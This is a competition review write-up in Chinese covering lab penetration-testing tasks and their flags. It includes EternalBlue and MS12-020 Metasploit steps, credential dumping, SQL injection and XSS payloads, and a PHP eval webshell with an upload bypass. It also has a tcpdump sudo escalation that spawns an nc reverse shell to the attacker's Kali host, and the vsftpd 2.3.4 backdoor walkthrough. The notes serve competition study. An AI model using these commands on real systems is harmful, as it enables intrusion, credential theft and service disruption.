前言

本次记录旨在回顾学习过程,总结经验,避免同样的错误再犯。
正如所言:

若留下探索,后人总结;
若留下经验,后人咀嚼;
若留下教训,后人借鉴;
若留下失误,后人避免。

成绩与反思:
本次比赛排名第四,获二等奖。主要失分在模块B(一分未得)。若“夺旗”部分的笑脸漏洞、Web渗透与Samba漏洞能成功利用,原本有机会冲上第三;而模块A若当时能及时问清题目要求和解题思路,也能多拿分。

核心教训:

有培训,一定要问清楚疑惑!
一定要问清楚疑惑!!
一定要问清楚疑惑!!!
问清楚比赛题目的解题思路和怎么做——其他无关紧要的事别问!浪费时间!

模块 A:安全事件响应、网络安全数据取证、应用安全、系统安全

任务一:漏洞扫描与利用(满分)

https://blog.csdn.net/qq_45894840/article/details/124411957

1.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中 3389 端口对应的服务版本信息字符串作为 Flag值提交;

命令:nmap -sV 192.168.85.145

Flag:Microsoft Terminal Service

image-pbGB.png

2.在 msfconsole 中用 search 命令搜索 MS12020 RDP 拒绝访问攻击模块,并将回显结果中的漏洞披露时间作为 Flag 值(如:2012-10-16)提交;

命令:search ms12-020

Flag:2012-03-16

image-vthd.png

3.在 msfconsole 中利用 MS12020 RDP 拒绝访问漏洞辅助扫描模块,将调用此模块的命令作为 Flag 值提交;

命令:use auxiliary/scanner/rdp/ms12_020_check

Flag:use auxiliary/scanner/rdp/ms12_020_check

4.在第 3 题的基础上查看需要设置的选项,并将回显中必须要设置的选项名作为Flag 值提交;

命令:options

Flag:RHOSTS

image-xaAe.png

5.使用 set 命令设置目标 IP(在第 4 题的基础上),并检测漏洞是否存在,运行此模块将回显结果中最后一个单词作为 Flag 值提交;

命令:set rhosts 192.168.85.145 | run

Flag:vulnerable

6.在 msfconsole 中利用 MS12020 RDP 拒绝访问攻击模块,将调用此模块的命令作为 Flag 值提交;

命令:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Flag:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

7.使用 set 命令设置目标 IP(在第 6 题的基础上),使用 MS12020 拒绝访问攻击模块,运行此模块将回显结果中倒数第一行的最后一个单词作为 Flag 值提交;

命令:sudo apt update && sudo apt upgrade metasploit-framework | set rhosts 192.168.85.145 | run

Flag:completed

image-uWaj.png

8.进入靶机关闭远程桌面服务,再次运行 MS12020 拒绝访问攻击模块,运行此模块将回显结果中倒数第二行的最后一个单词作为 Flag 值提交。

命令:run

Flag:Unreachable

任务二:Windows 操作系统渗透测试(满分)

http://www.chinasem.cn/article/587055

1.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中 445 端口对应的服务版本信息字符串作为 Flag值提交;

命令:nmap -sV 192.168.85.145

Flag:Microsoft Windows Server 2008 R2 microsoft-ds (workgroup: WORKGROUP)

2.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景网络连接信息中的 DNS 信息作为 Flag 值 (例如:114.114.114.114) 提交;

命令:(永恒之蓝)msfconsole

search ms17_010

use 0

set rhosts [IP]

run

Flag:114.114.114.114

3.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景中的当前最高账户管理员的密码作为 Flag 值提交;

命令:(在上题的基础上) load kiwi | creds_all (前提:靶机需要登录过)

Flag:a1b2c33.

4.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 111 文件夹中唯一一个后缀为.docx 文件的文件名称作为 Flag 值提交;

命令:sudo apt-get install rdesktop | rdesktop 192.168.85.145

Flag:flag123456789

5.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 111 文件夹中唯一一个后缀为.docx 文件的文档内容作为 Flag 值提交;

命令:

Flag:846548795432

6.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 222 文件夹中唯一一个图片中的英文单词作为 Flag 值提交;

命令:

Flag:anonymous

任务三:网页绕过(满分)

https://www.cnblogs.com/mingchaobinghongcha/p/17205508.html

1.在渗透机中访问主机地址 http://ip/1.php,将网页中 flag 信息作为 Flag 值提交;

Flag:5' or '5' = '5

2.在渗透机中访问主机地址 http://ip/2.php,将网页弹窗结果作为 Flag 值提交;

Flag:"><svg><SCRIPT>alert(1)</SCRIPT></svg>

3.在渗透机中访问主机地址 http://ip/3.php,将网页中 FLAG 信息作为 Flag 值提交;

制作一个GET传参木马!!!<?php @eval($_GET['cmd']); ?>

3.php修改文件后缀为3.png,这题的校验是在前端选择文件的时候就验证了的

打开burp后修改文件类型(Content - Type)text/plain

再修改文件后缀名jpg —> php

4.在渗透机中访问主机地址 http://ip/4.php,将网页中 flag 信息作为 Flag 值提交;

将上一题做的木马修改为4.php

burp抓包修改文件类型(Content - Type)image/jpeg 或者网页提示中判断部分的任意一种即可

5.在渗透机中访问主机地址 http://ip/5.php,将网页中 FLAG 信息作为 Flag 值提交;

http://[IP]/5.php?password=2555abc

6.在渗透机中访问主机地址 http://ip/6.php,将网页中 flag 信息作为 Flag 值提交。(这题要死记!!!)

http://[IP]/6.php?v1=QNKCDZO&v2=240610708&v3[]=1

答案:

v1=QNKCDZO&v2=240610708&v3[]=1

(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)

(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)

(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)

任务四:跨站脚本渗透(满分)

1.访问服务器网站目录 1,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

控制台输入 alert(1) (万能钥匙!!!)

2.访问服务器网站目录 2,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

3.访问服务器网站目录 3,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

4.访问服务器网站目录 4,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

5.访问服务器网站目录 5,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

6.访问服务器网站目录 6,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;

任务五:内存取证(满分)

1.在服务器中下载内存片段,在内存片段中获取主机信息,将管理员密码作为Flag 值提交;

ftp [IP]
get [文件]

volatility -f [文件] --profile=[系统] hashdump
#内容复制下来放在新创建的文本文件中

john [密码文件] --format=NT
#如果不显示密码或者报错,试着找一下john.pot文件然后删除,这是个缓存文件,可以放心删除

2.在内存片段中获取主机信息,将此片段的地址作为 Flag 值提交;

volatility -f [文件] --profile=[系统] netscan

3.在内存片段中获取主机信息,将此片段的主机名作为 Flag 值提交;

Volatility -f [文件] --profile=Win7SP1x64 hivelist

volatility -f [文件] --profile=Win7SP1x64 h-o [Virtual值] printkey -K "ControlSet001\Control\ComputerName\ComputerName"

4.在内存片段中获取主机信息,将挖矿程序的地址及端口号作为 Flag 值提交;(若为多个用;分开)

volatility -f [文件] --profile=[系统] netscan

#------------------------------------------
#在 Volatility 的 netstat 输出中,唯一可疑进程是 EasyMiner.exe(PID 1376)——典型的挖矿客户端。
#它曾与两台外网主机建立 TCP 会话(现已 CLOSED),对应的“地址:端口”如下:
#89.42.218.88:80
#178.239.166.249:6667
#题目要求提交“挖矿程序的地址及端口号”,如有多项需分隔,因此正确 flag 应写成:
#89.42.218.88:80;178.239.166.249:6667
#------------------------------------------
flag:89.42.218.88:80;178.239.166.249:6667

5.在内存片段中获取主机信息,将后台恶意程序所用的程序名称作为 Flag 值提交;

volatility -f [文件] --profile=[系统] netscan

6.在内存片段中获取主机信息,将此时的浏览器搜寻的关键词作为 Flag 值提交。

volatility -f [文件] --profile=[系统] iehistory

任务六:Linux 操作系统渗透测试(重点!!!如果有培训一定要问!!!)

如果有培训一定要问的:
通过什么渗透进服务器是web漏洞还是操作系统漏洞?
自己做环境渗透学习!!!

1.通过本地PC中渗透测试平台Kali对服务器场景Linux进行系统 服务及版本扫描渗透测试,并将该操作显示结果中MySQL数据库对应的服务版本信息字符串作为Flag提交;

2.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/var/www/html目录中唯一一个后缀为.html文件的文件名称作为Flag提交;

3.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/var/www/html目录中唯一一个后缀为.html文件的文件内容作为Flag提交;

4.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/root目录中唯一一个后缀为.bmp文件的文件名称作为Flag提交;

5.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/root目录中唯一一个后缀为.bmp的图片文件中的英文单词作为Flag提交。

任务七:Web 信息泄露及渗透(重点!!!如果有培训一定要问!!!)

如果有培训一定要问的:
比赛时流量分析是有现有文件分析还是现场抓包分析?
MySQL配置泄露可能会在哪里?

1.通过本地PC中渗透测试平台kali2.0对服务器场景进行渗透测试,将该场景中WordPress的版本号(例如:2.2.3)作为Flag值提交;

2.服务器场景的网站存在隐藏登录入口,通过流量分析找出管理员登录的URL路径,将完整URL路径作为Flag值提交(IP固定为192.168.111.201);

3.使用流量分析工具获取管理员登录请求中的用户名和密码,将用户名和密码作为Flag值(如:admin:123456)提交;

4.服务器场景的MySQL服务存在配置泄露,提交数据库配置文件中的密码作为Flag值;

5.利用sudo权限漏洞通过tcpdump提权,提交提权成功后将输出结果的第一行作为Flag值;

#kali
nc -lvnp 2025

echo "nc [Kali IP] 2025 -e /bin/bash"> /tmp/shell.sh    #在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh    #添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root  

6.服务器场景用户的密码信息可以通过漏洞得到,计算root用户密码位于/etc/shadow中的加密字段信息最后6位(字母小写,不含特殊符号)的SHA-1哈希值作为Flag值;(假设最后6位为123456,示例计算:echo -n "123456" | sha1sum

7.服务器场景的/root目录中存在一个加密文件secret_flag.bin,其中包含一段经过编码的字符串。请通过提权获取root权限后,解码该文件内容并提交最后8位明文作为Flag。

base64 -d /root/secret_flag.bin

任务八:Python 模块利用(重点!!!如果有培训一定要问!!!)

如果有培训一定要问的:
通过什么渗透进服务器是web漏洞还是操作系统漏洞?
如果不进入服务器你后面的小题什么都做不了!

  1. 通过本地 PC 中渗透测试平台 Kali 对服务器场景进行脚本扫描渗透测试,并将该操作显示结果中 80端口对应服务版本字符串作为 Flag 值提交(如:Weblogic 8.3.6);

  2. 根据扫描得到的信息,请将 tomcat 版本信息作为 Flag 值提交;

  3. 找到网站根路径下的唯一的压缩包文件,并将压缩包的解压密码作为 Flag 提交;

  4. 找出 tomcat 后台的用户名和密码,并将 tomcat 后台的密码作为 Flag 值提交;

  5. 使用 john 工具破解服务器中除 root 以外的用户密码,并将破解出的用户名及密码的作为 Flag 值提交(用户名和密码之间使用英文冒号分割,多个用户之间用分号隔开,如:qwe:123;john:456);

  6. 找到服务器场景中能够实现提权的模块,将该模块的绝对路径作为 Flag 值提交(绝对路径包括模块自身的名称);

  7. 找出 /root 路径下的唯一的 txt 文本,将该文件的内容作为 Flag 值提交;

任务九:Ubuntu 高级漏洞利用与提权攻防(重点!!!如果有培训一定要问!!!)

如果有培训一定要问的:
这个看情况问!!!

  1. 通过本地PC中渗透测试平台kali2.0对服务器场景进行端口扫描,将发现开放的非标准HTTP服务端口及服务版本(格式:端口号/服务/版本)作为Flag值提交;

  2. 通过本地PC中渗透测试平台kali2.0对服务器场景进行Nmap脚本扫描,发现靶机HTTP服务支持危险方法,提交允许上传文件的HTTP方法及测试路径(格式:方法+/path);

  3. 通过上传WebShell反弹Shell后,发现防火墙限制端口,将用于绕过限制的监听端口号作为Flag值提交;

  4. 服务器场景存在计划任务提权漏洞,将漏洞关联的软件名称及CVE编号(格式:软件-CVE-XXXX-XXXX)作为Flag值;

  5. 服务器场景存在计划任务提权漏洞,利用漏洞进行提权,通过写入 /etc/sudoers赋予当前用户root权限,将触发漏洞的恶意脚本路径及写入的内容(格式:路径:命令)作为Flag值提交;

  6. 服务器场景的/root目录中存在文件hidden_flag.txt,最终获取root权限后,提交靶机/root目录中的唯一后缀txt文件内容作为Flag值。

任务十:Web 安全应用(满分)

1.使用渗透机Kali Linux,登录靶机HTTP服务后台管理页面,并将后台管理页面代码中的Flag值提交。

http://[IP]/admin访问后开启burp抓包拦截,输入用户admin 密码admin,拦到包后添加参数X-Forwarded-For:127.0.0.1 放包后查看源代码即可

2.使用渗透机Kali Linux,访问靶机HTTP服务,使用文本反馈功能上传PHP一句话木马(shell.php),并将上传后提示页面中唯一 一行JavaScript代码作为Flag值提交。

制作一个GET传参木马!!!<?php @eval($_GET['cmd']); ?>

上传时burp抓包修改文件类型(Content - Type)text/plain

Flag:window.open('upload/shell.php');

3.使用渗透机Kali Linux,访问靶机HTTP服务,通过一句话木马获取靶机C盘根目录下flag.txt中的内容,并将获取文件内容的函数作为Hlag值提交。

查看目录下有什么?cmd=system("dir c:\\");

Flag:file_get_contents

4.使用渗透机Kali Linux,访问靶机HTTP服务,通过一句话木马获取靶机C盘根目录下flag.txt中的内容,并将文本中的内容作为Flag值提交。

?cmd=echo file_get_contents("C:/flag.txt");

Flag:hel10wOrld

5.使用渗透机Kali Linux ,访问靶机HTTP服务,通过一句话木马找到C盘根目录下的唯一一个PNG文件,并提交图片源文件的Flag值

?cmd=echo file_get_contents("C:/geforce0.png");

Flag:Ia98a8fA9

任务十一:木马逆向分析(不做,短时间学不会)

https://blog.csdn.net/qq_50377269/article/details/137155496

1.分析桌面上的恶意木马压缩文件,找出木马调用的dll文件名称,并将调用的dll文件名作为Flag值提交(Flag排序按照首英文首字母的顺序,多个dll之间以英文逗号隔开);

2.分析第一个dll文件,找出恶意文件为防止程序多开创建的函数,并将该函数名称作为Flag值提交;

3.分析第一个dll文件,找出该代码构造出的可执行文件,并将可执行文件的名称作为Flag值提交;

4.分析第二个dll文件,找出它最终跳转的有效dll,并将该dll作为Flag值提交;

5.分析恶意木马文件,找出木马运行后调用的四个可执行文件,并将调用的exe文件名作为Flag值提交(Flag排序按照首英文首字母的顺序,多个exe之间以英文逗号隔开);

6.分析恶意木马文件,找出木马运行后对键盘活动进行记录后存储的文件,并存储键盘记录文件的绝对路径作为Flag值提交;

7.分析第三个dll文件,找出恶意DLL装载病毒的函数位置,并将函数位置作为Flag值提交(例如:sub_10010010,sub_10010020);

模块 B:夺旗挑战

靶机漏洞:

如果有培训一定要问的:
夺旗部分有什么漏洞?
是攻防还是纯夺旗?
有哪些漏洞?(问到了就抓紧学抓紧背!!!)

一定要去学扫描靶机(建议等2分钟,因为比赛靶机是一批一批启动的)!!!团队赛要学要分工怎么分开扫描!高效率!!!

samba (记不清有没有了)

VsFTP(许多靶机都有此漏洞很好拿分,一定要会)

#kali IP:192.168.10.222
#MSF2 IP:192.168.10.20

#kali
nmap 192.168.10.20     #使用nmap工具扫描192.168.10.20主机

---------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-08 21:12 EST
Nmap scan report for 192.168.10.20                  #192.168.10.20的扫描报告
Host is up (0.0019s latency).                       #主机已开启
Not shown: 977 closed tcp ports (reset)             #未显示:977 个关闭的 TCP 端口(重置)
PORT     STATE SERVICE                              #端口  状态  服务
21/tcp   open  ftp                                  #这个是我们需要攻击的vsftp 2.3.4服务
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:02:5C:4B (VMware)             #MAC地址:00:0C:29:02:5C:4B(VMware)

Nmap scan report for 192.168.10.222                 #这些是kali自己的,都已忽略
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.10.222 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (2 hosts up) scanned in 6.79 seconds
--------------------

#再打开一个终端
nc 192.168.10.20 21     #使用nc(瑞士军刀)连接21端口

-------------------
220 (vsFTPd 2.3.4)                   #连接至服务器
user a:)                             #提供用户名
331 Please specify the password.     #表示它已经接受了用户名,并要求指定密码
pass 123456                          #提供密码
-------------------

#切回刚刚扫描的终端
nmap -p 6200 192.168.10.20     #使用nmap工具扫描192.168.10.20主机的6200端口

-------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-08 21:21 EST
Nmap scan report for 192.168.10.20                  #192.168.10.20的扫描报告
Host is up (0.00026s latency).                      #主机已开启

PORT     STATE SERVICE                              #端口  状态  服务
6200/tcp open  lm-x                                 #这个是我们刚刚nc瑞士小军刀划开的端口
MAC Address: 00:0C:29:02:5C:4B (VMware)             #MAC地址:00:0C:29:02:5C:4B(VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.35 seconds
-------------------

nc 192.168.10.20 6200     #使用nc(瑞士军刀)连接6200端口
whoami                    #询问当前用户是谁
root

###################
如果连不上,看看之前  nc 192.168.10.20 21  这个命令的终端
如果最后一行出现  421 Timeout.  表示连接已超时 
重新打一遍  nc 192.168.10.20 21            

http(没环境不做攻略)

模块C:展示讲解

穿着统一服装!!!别穿有校徽的校服!!!

其实我觉得演讲稿内容有些跳脱,衔接有些问题,写的时候一定要多注意!!!

星光杯 - 网络安全赛项展示讲解稿(PPT版).docx

PPT网络安全.pptx